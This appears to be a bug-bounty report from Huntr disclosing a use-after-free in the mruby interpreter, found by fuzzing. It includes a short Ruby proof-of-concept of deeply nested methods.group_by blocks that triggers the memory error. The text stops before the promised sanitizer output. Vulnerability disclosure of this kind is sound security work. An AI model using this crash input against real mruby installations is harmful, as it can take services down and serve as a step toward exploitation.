================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/6597ece9-07af-415b-809b-919ce0a17cf3
## Description:
While fuzzing mruby I found a use after free in mruby compiled with ASAn.
Proof of Concept (uaf1.rb)
var1 = -0
var2 = 1.0
var3 = 1
var4 = +0
var3 = methods.group_by() {
  || var3 = methods.group_by() {
    || var3 = methods.group_by() {
      || var3 = methods.group_by() {
        || var3 = methods.group_by() {
          || var3 = methods.group_by() {
            || var3 = methods.group_by() {
              || var3 = methods.group_by() {
                ||
              }
            }
          }
        }
      }
    }
  }
}
Here is the output from mruby ASAn binary
